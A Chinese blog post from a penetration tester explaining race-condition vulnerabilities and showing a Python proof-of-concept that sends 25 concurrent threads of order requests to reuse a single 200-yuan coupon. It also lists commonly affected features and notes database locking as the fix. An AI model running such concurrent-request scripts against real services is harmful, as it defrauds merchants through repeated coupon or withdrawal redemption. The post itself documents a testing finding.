条件竞争漏洞测试

概念:

竞争条件是系统中的一种反常现象,由于现代Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏,甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞。

 

曾经出现过的漏洞:

 

网上大部分是使用转账的列子来说明的,曾经乌云提现环节就出现过这个漏洞,当时大神也是提现到账3000块,官方24小时紧急修复,承认提现有效。美滋滋,但愿乌云早日归来,仍是少年。

 

今天在渗透测试中,刚好碰到了此类漏洞,就简单实践下。

使用一张200块的优惠券,可以重复下单多次,达到一张优惠券,多次使用的目的。

 

基本方法就是,在提交订单的时候,抓取包,然后然后然后构造脚本,进行多线程并发操作。

备注:这最初一直使用burp intrude 的模块,设置如下:

payloads  payload type: Null payloads

payloads options [Null payloads] Contunue indefinietly

Options Number of threads: 20

死活测试不出来,不知道是不是因为这个模块,默认会发送一次请求包的原因。

最后构造Python脚本,成功复现此漏洞。

coupon_poc.py 如下:

#!/usr/bin/env python
#coding: utf8
#author: by Gandolf

import requests
import json
import threading
import queue


url = "https://www.baidu.com/api/xxx/"

payload = {"couponDetailId":56194,"email":"test123@gmail.com","consigneeId":2269,"skuId":1960,"qty":1,"orderType":2}

headers = {

        'Accept': 'application/json', 
        'deviceId': 'fcc62818-9949-21c4-0832-5396fea4363b',
        'languageId': 'en',
        'appVersion': '8', 
        'deviceType': 'android', 
        'deviceMode': 'Google Nexus S', 
        'platformVersion': '4.1.1',
        'countryId': 'PH',
        'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJha3VsYWt1Iiwic3ViIjoiOTYxOTYxOTYxMSIsImlhdCI6MTU2NTk1MDU0NSwiZXhwIjoxNTgxNTAyNTQ1fQ.AUXf-mq38AdGhDYsRyIl5I',
        'Content-Type': 'application/json', 
        'Content-Length': '106',
        'Host': 'www.baidu.com', 
        'Connection': 'close',
        'Accept-Encoding': 'gzip, deflate',
        'User-Agent': 'okhttp/3.12.0',
        'Cache-Control': 'no-cache'

        }
threads = 25

q = queue.Queue()

for i in range(50):
    q.put(i)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url, data=json.dumps(payload), headers=headers)
        print(r.json())

if __name__ == '__main__':
    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for i in range(threads):
        t.join()

 

此类漏洞一般出现在:签到,积分兑换,转账,优惠券,提现,文件上传等环节。

修复方案当然是给数据库加锁啦

完!

 

posted @ 2019-08-17 16:31  APT-101  阅读(1917)  评论(0编辑  收藏  举报